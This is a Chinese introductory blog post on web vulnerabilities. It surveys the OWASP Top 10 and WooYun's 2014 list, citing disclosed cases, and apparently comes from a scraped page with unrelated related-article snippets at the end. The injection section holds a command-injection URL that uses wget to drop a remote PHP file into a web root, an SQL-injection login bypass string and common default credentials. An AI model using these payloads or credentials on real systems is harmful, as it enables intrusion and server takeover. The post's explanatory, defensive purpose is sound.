渗透测试必知必会—Web漏洞

https://as.h5con.cn/articles/129985?spm=cnblog

0x00前言

  本文为对WEB漏洞研究系列的开篇,日后会针对这些漏洞一一研究,敬请期待

  0x01 目录

  0x00 前言

  0x01 目录

  0x02 OWASP TOP10 简单介绍

  0x03 乌云TOP 10 简单介绍

  0x04 非主流的WEB漏洞

  0x02 OWASP TOP10 简单介绍

  除了OWASP的TOP10,Web安全漏洞还有很多很多,在做测试和加固系统时也不能老盯着TOP10,实际上是TOP10中的那少数几个

  直接说2013的:

  A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常见,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于现在自动化工具非常多,通常都是找到注入点后直接交给以sqlmap为代表的工具

  命令注入相对来说出现得较少,形式可以是:

  https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;

  也可以查看案例:极路由云插件安装shell命令注入漏洞 ,未对用户输入做任何校验,因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行

  直接搜索LDAP注入案例,简单尝试下并没有找到,关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例,但是重要的LDAP信息 泄露还是挺多的,截至目前,乌云上搜关键词LDAP有81条记录。

  PHP对象注入:偶然看到有PHP对象注入这种漏洞,OWASP上对其的解释为:依赖于上下文的应用层漏洞,可以让攻击者实施多种恶意攻击,如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为:1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击,或开始一个"POP chain";2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明,或者自动加载的对象必须被这些类支持。PHP对象注入的案例及文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞。

  在查找资料时,看到了PHP 依赖注入,原本以为是和安全相关的,结果发现:依赖注入是对于要求更易维护,更易测试,更加模块化的代码的解决方案。果然不同的视角,对同一个词的理解相差挺多的。

  A2: 失效的身份认证及会话管理,乍看身份认证觉得是和输入密码有关的,实际上还有会话id泄露等情况,注意力集中在口令安全上:

  案例1:空口令

  乌云:国内cisco系列交换机空密码登入大集合

  乌云:UC某服务器可空口令访问数据库

  案例2:弱口令

  乌云:盛大某站后台存在简单弱口令可登录  admin/admin

  乌云:电信某省客服系统弱口令泄漏各种信息 .../123456

  乌云:中国建筑股份有限公司OA系统tomcat弱口令导致沦陷  tomcat/tomcat

  案例3:万能密码

  乌云:移动号码上户系统存在过滤不严  admin‘OR‘a‘=‘a/admin‘OR‘a‘=‘a (实际上仍属于SQL注入)

  弱口令案例实在不一而足

  在乌云一些弱口令如下:其中出镜次数最高的是:admin/admin, admin/123456

 如果要继续深究下去或者取得更多数据进行分析的话,结局就会如猪猪侠总结的那样:

  当然会话存在的安全问题也是需要考虑的,可以是令牌、token被窃取,尤其当会话没有设置生命周期时很容易出现会话/身份被劫持

  会话管理问题可以是用户A登陆了某个地址,但是没有注销(奇葩情况是注销无效),直接退出了浏览器又没有清除cookie,如果说这时候有B借用A的电脑,他直接以A的身份登陆该地址是没有问题的,这不是服务端的问题。但假设之后A都没有访问改地址,而是把电脑合上待机了,第二天如果B借用他的电脑直接登陆了该地址,则责任在于服务端的会话管理不当,没有设置超时时间。除此之外,还有会话重放、会话信息泄露等问题。说到会话信息泄露,不禁想起将sessionid放在URL中的情形,鄙人暂未遇到直接利用这个可以窃取会话的,但不排除其可能

  A3: 跨站脚本(XSS),最普遍的漏洞,曾被认为是鸡肋漏洞,事实证明有时候危害很大的,窃取cookie,构造蠕虫不一而足。XSS的技术体现在Javascript功底上,现在很多网站都有针对XSS的过滤器,J2EE可以使用全局过滤器,但是过滤器基本都是使用黑名单设防,是有可能绕过的,回应了技术体现在Javascript功底上。跨站脚本还有flash类型的,由于相比之下出现得比较少,浏览器和过滤器的防御精力不在这上面,如果出现可能更容易成功。值得一提的是,对于XSS,现在的扫描工具都会将其标识为高危漏洞,实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性,误报率会比较高。还有就是常规扫描器只能识别反射型XSS,反射型XSS本身危害是比较小的,存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的,因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS,则要看具体业务和数据是否会受影响,用户交互程度越高,利用难度就越大,如果能弹框证实漏洞存在,但很难被触发或者就算窃取到cookie也无法登陆,很难说明是高风险安全问题,但还是有修复和改进的必要。

  A4: 不安全的直接对象引用,访问控制不当的问题,常见为越权操作(横向+纵向),譬如:遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作,最激动人心的是可以进行刷钱等操作。越权问题并不高深,相比SQL注入和XSS技术难度还要低一点,因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单,当用户需要访问某资源或进行操作时,服务器端取出来访用户的session值,判断是否具有访问或操作权限。

  在访问控制操作中,我们可以设定某一资源或文件A可以访问、B不能访问,但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限,作为一个会话属性,属于自己的才可以操作或访问,具体情况具体讨论。

  案例1:水平越权

  乌云:虎扑某功能存在水平越权

  案例2: 垂直越权

  乌云:中国电信某系统管理员WEB界面越权访问

  A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=>运维不当,直接看运维不当的

  知乎专栏:运维安全(...)

  乌云知识库:从乌云看运维安全那点事儿

  引用一下知识库的内容,问题有:

  struts漏洞

  Web服务器未及时打补丁,有解析漏洞

  PHP-CGI RCE

  FCK编辑器

  server-status信息泄露

  网站备份文件放在web目录,可被下载

  列目录导致可看到敏感数据并查看

  snmp信息泄露

  weblogic弱口令

  SVN信息泄露

  域传送漏洞

  Rsync

  hadoop对外

  nagios信息泄露

  ftp弱口令或支持匿名访问导致信息泄露

  RTX泄露信息

  Ganglia信息泄露

  j2ee应用架构开始占主流,典型的web服务器搭配配置失误

  Jenkins平台没有设置登录验证

  zabbix

  zenoss监控系统

  Resin文件读取

  memcache未限制访问IP

  JBoss问题

  测试服务器外网可访问

  padding oracle attack

  用户名密码放在服务器上……

  A8: 跨站请求伪造(CSRF)

  CSRF曾被称为沉睡的巨人,以前拿来举例时都是说Alice给Bob转钱,结果morry插了一脚,钱就跑到morry家去了。危害可大可小,直接通过URL增删改操作的也还有,更多的还是基于表单。如果是XSS+CSRF =>蠕虫 就比较可观了,也曾看到过直接get root的案例

案例:万达电影主站 xss + csrf

  A10: 无效的重定向

  控制重定向可以钓鱼,可以获取敏感文件的信息,在struts2中也有开放重定向的命令执行

  0x03 乌云TOP 10 简单介绍

  上述就是OWASP TOP10的WEB漏洞,乌云出了一个更加符合中国国情的 乌云:Top10 for 2014,看着也是触目惊心

  A1-互联网泄密事件/撞库攻击

  本质上来说是使用了不安全的口令,也许我可以将自己的密码设置的很复杂,别人破解不出来。但对于撞库攻击而言,可以说是不怕神一样的对手,就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码,而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了,强密码+不同的密码,当然密码多了也难以记住,不行就借助软件或者普通账号用同一个密码,重要账号用不同密码吧

  A2-引用不安全的第三方应用

  举的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也还数见不鲜,其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的

  A3-系统错误/逻辑缺陷带来的暴力猜解

  暴力破解:没对请求和错误次数做限制;重放攻击同样是没做检验或限制

  A4-敏感信息/配置信息泄露

  包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方

  A5-应用错误配置/默认配置

  包括但不限于默认路径、默认口令、目录穿越、任意文件下载等

  A6-SQL注入漏洞

  A7-XSS跨站脚本攻击/CSRF

  A8-未授权访问/权限绕过

  可匿名访问\判断referer值后免登陆

  A9-账户体系控制不严/越权操作

  A10-内部重要资料/文档外泄

  还是信息泄露,但是做了区分,不同于应用或服务器的信息泄露,专指内部信息泄露哟

  0x04 非主流的WEB漏洞

  实际上,如果要挖漏洞或者做测试,从乌云上找案例会比较方便,除了常见的几类代码层面的问题,更多的是配置不当方面的,最终归结到信息安全链上最脆弱的还是人本身

  除了上面提到的这些,其实还有很多的漏洞啊,跟设备有关系的就先不说了,再提一下两个看起来不错的:XXE、SSRF(or XSPA)

  XXE:XML外部实体注入,不仅仅是敏感信息泄露,腾讯安全中心:XXE漏洞攻防

  案例:

  1. 乌云:百度某功能XML实体注入

  2. 乌云:139邮箱XXE漏洞可读取文件

  3. 乌云:从开源中国的某XXE漏洞到主站shell

  SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网,没爆出来的估计很多被用作杀器了

  案例:

  1. 乌云:百度贴吧SSRF

  2. 乌云:新浪SSRF

  3. 乌云:阿里巴巴SSRF

  上面几个案例有的是分享功能,有的是其他功能,共同点在于都是跟的url参数,且没做限制,导致内网信息泄露

  (未完...)

时间: 2024-10-10 22:14:28

渗透测试必知必会—Web漏洞的相关文章

13条必知必会&amp;&amp;测试

1.13条必知必会 <1> all(): 查询所有结果 <2> filter(**kwargs): 它包含了与所给筛选条件相匹配的对象 <3> get(**kwargs): 返回与所给筛选条件相匹配的对象,返回结果有且只有一个,如果符合筛选条件的对象超过一个或者没有都会抛出错误. <4> exclude(**kwargs): 它包含了与所给筛选条件不匹配的对象 <5> values(*field): 返回一个ValueQuerySet——一个特殊

Nginx系列教程之三:nginx 必知必会

书接上回,聊一聊nginx的必知必会!!! 前言:从该教程往后,涉及到nginx的功能将越来越生产化,因此某些测试必须是基于web架构平台,所以在看本教程之前,建议先安装好LNMP或者LAMP架构,以便测试验证.其次该技术文档的测试是基于前端nginx反向代理与后端LNMP架构来测试的,后端LNMP主要是提供测试的访问页面而已,重点还是前端Nginx的设置 测试环境:前端代理:OS:CentOS6.5x64hostname:test1.lxm.comip:10.0.10.11 后端LNMP:OS

[ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)

http://segmentfault.com/a/1190000002678515?utm_source=Weibo&utm_medium=shareLink&utm_campaign=socialShare 上次我写<前端工程师必知必会>已经是三年前了,那是我写过最火的文章了.三年了,我仍然会在Twitter上收到关于这篇文章的消息. 从2012年到现在,一篇文章都没发过让我觉得有点羞羞哒.三年是一段很长的时间,很多东西都发生了改变.2012年,我鼓励同学们去学习浏览器开发

2015 前端[JS]工程师必知必会

2015 前端[JS]工程师必知必会 本文摘自:http://zhuanlan.zhihu.com/FrontendMagazine/20002850 ,因为好东东西暂时没看懂,所以暂时保留下来,供以后参考! MrSunny · 12 天前 上次我写<前端工程师必知必会>已经是三年前了,那是我写过最火的文章了.三年了,我仍然会在Twitter上收到关于这篇文章的消息. 从2012年到现在,一篇文章都没发过让我觉得有点羞羞哒.三年是一段很长的时间,很多东西都发生了改变.2012年,我鼓励同学们去

mysql 必知必会总结

以前 mysql 用的不是很多, 2 天看了一遍 mysql 必知必会又复习了一下基础.  200 页的书,很快就能看完, 大部分知识比较基础, 但还是了解了一些以前不知道的知识点.自己做一个备份,随时查看. 命令:sql 不区分大小写,语句大写,列.表名小写是一种习惯连接命令:mysql -u user_name –h example.mysql.alibabalabs.com –P3306 –pxxxxquithelp show; // 查看所有 show 命令show databases;

.NET程序员项目开发必知必会—Dev环境中的集成测试用例执行时上下文环境检查(实战)

Microsoft.NET 解决方案,项目开发必知必会. 从这篇文章开始我将分享一系列我认为在实际工作中很有必要的一些.NET项目开发的核心技术点,所以我称为必知必会.尽管这一些列是使用.NET/C#来展现,但是同样适用于其他类似的OO技术平台,这些技术点可能称不上完整的技术,但是它是经验的总结,是掉过多少坑之后的觉醒,所以有必要花几分钟时间记住它,在真实的项目开发中你就知道是多么的有帮助.好了,废话不说了,进入主题. 我们在开发服务时为了调试方便会在本地进行一个基本的模块测试,你也可以认为是集

移动前端开发人员必知必会:移动设备概述

因为工作岗位的变换带来工作内容的变动,对于移动网站的前端开发已经疏远了好几个月,在这好几个月中有很多新的东西出现,自己所掌握的一些东西也已经陈旧,所以选择了这本书<HTML5触摸界面设计与开发>来系统地学习和整理一下关于移动网站前端开发的知识体系. 之所以选择这本书,一是因为这本书比较新,2014年04月发的第一版.其二是因为作者Stephen Woods,这是Flickr团队的资深前端,Yahoo主页的Javascript技术平台正是出自此人之手. 接下来的时间里会陆续上传关于这本书学习的一

《MySQL 必知必会》读书总结

这是 <MySQL 必知必会> 的读书总结.也是自己整理的常用操作的参考手册. ? ? 使用 MySQL 连接到 MySQL shell>mysql -u root -p Enter password:****** 显示数据库 mysql>SHOW DATABASES; 选择数据库 mysql>USE mytest; 显示数据库中的表 mysql>SHOW TABLES; 显示表列 mysql>SHOW COLUMNS FROM tmall_user; mysql

数据库学习之一: 在 Oracle sql developer上运行SQL必知必会脚本

1 首先在开始菜单中打开sql developer: 2. 创建数据库连接 点击左上角的加号 在弹出的对话框中填写用户名和密码 测试如果成功则点击连接,记得角色要写SYSDBA 3. 运行脚本 之后把SQL必知必会的脚本拷到工作表中并点击运行脚本 首先进行表的创建 输入代码: --------------------------------------------- -- Sams Teach Yourself SQL in 10 Minutes -- http://www.forta.com/

正则表达式必知必会(修订版)整理教程

正则表达式必知必会(修订版)整理教程 1.   正则表达式入门 1.1  用途:是一种工具,主要用途是搜索变化多端的文本.匹配       到我们想要的信息. 1.2  使用正则表达式:在线测试工具:http://tool.oschina.net/regex/ 2.  匹配单个字符 2.1  匹配纯文本 例子: 文本 Hello,my name is zhaikaishun,please visitmy blog at http://blog.csdn.net/t1dmzks?viewmode=